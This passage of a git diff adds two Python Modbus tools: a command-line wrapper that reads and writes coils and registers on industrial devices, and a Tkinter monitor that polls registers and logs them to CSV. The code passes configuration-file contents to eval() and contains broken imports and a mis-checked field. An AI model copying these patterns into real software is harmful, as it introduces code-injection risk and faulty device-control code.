+parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = 